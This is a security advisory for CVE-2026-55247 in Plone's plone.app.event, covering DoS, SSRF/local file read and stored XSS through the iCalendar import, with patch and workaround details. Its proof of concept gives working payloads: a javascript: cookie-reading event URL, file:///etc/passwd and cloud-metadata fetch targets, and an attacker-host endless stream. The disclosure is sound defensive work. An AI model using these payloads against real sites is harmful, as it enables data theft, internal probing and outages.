critical · 9.1CVE-2026-55247Aug 28, 2026

CVE-2026-55247: plone.app.event iCalendar Import DoS, SSRF, and Stored XSS

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A logged-in editor on a Plone site can crash the server, probe internal network services, read local files, or plant JavaScript in calendar events, all by abusing the built-in iCalendar import form.

Packageplone.app.event
Ecosystempip
Affected< 5.2.4
Fixed in5.2.4
CVE-2026-55247: plone.app.event iCalendar Import DoS, SSRF, and Stored XSS

The problem

The iCalendar import feature in plone.app.event before 5.2.4 fetches a user-supplied URL with no timeout, no scheme restriction, and no output sanitization.

An editor-level user (not just a manager) can supply a file: URL to read local files via SSRF, point the fetcher at an internal host, trigger a DoS by making the server hang on a slow or infinite HTTP response, or embed a JavaScript payload in a VEVENT URL field that gets stored and rendered unsanitized in the Plone site.

Proof of concept

A working proof-of-concept for CVE-2026-55247 in plone.app.event, with the exact payload below.

text
BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//PoC//PoC//EN
BEGIN:VEVENT
DTSTART:20260101T120000Z
DTEND:20260101T130000Z
SUMMARY:PoC Event
URL:javascript:alert(document.cookie)
END:VEVENT
END:VCALENDAR

# --- SSRF / local file read: supply this in the "URL to fetch" field ---
# file:///etc/passwd
# http://169.254.169.254/latest/meta-data/

# --- DoS: point the import URL at a server that streams forever ---
# http://attacker.example/infinite.ics

The pre-patch importer called urllib.request.urlopen(url) with no timeout and accepted any URL scheme, including file: and file://. This let the server read one line of any file the Plone process could open (SSRF/LFI) and hang indefinitely on a slow remote host (DoS via CWE-400 uncontrolled resource consumption).

The patch on commit 1e3c83c adds an explicit allowlist of http and https schemes, enforces a request timeout, and HTML-escapes the VEVENT URL field before writing it into Plone content, closing the stored XSS vector. A prior partial fix had blocked file:// but left file: (without the double slash) open, which the 5.2.4 release also closes.

The fix

Upgrade plone.app.event to **5.2.4** (Plone 6.0/6.1) or **6.0.1** (Plone 6.2). If you cannot upgrade immediately, go to the Zope Management Interface site root, open the Security tab (manage_access), find the plone.app.event: Import Ical permission, and restrict it to the Manager role only.

Note: there is no workaround for the stored XSS in the event URL field; upgrading is the only full fix.

Reported by Timothy Dudley.

References: [1][2][3][4][5][6]

Related research